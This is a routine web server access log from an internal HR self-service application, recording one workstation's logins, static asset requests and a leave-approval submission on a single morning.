192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:23:03 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:23:10 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:10 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:11:23:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:23:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.11.104 - - [06/Sep/2025:11:23:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880
192.168.11.104 - - [06/Sep/2025:11:23:51 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:51 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:11:24:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:24:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:24:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10395
192.168.11.104 - - [06/Sep/2025:11:24:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 41585
192.168.11.104 - - [06/Sep/2025:11:24:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 41585 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:24:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D131098%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131098&target=iframe HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:24:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D131098%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131098&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:24:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:24:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:24:41 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
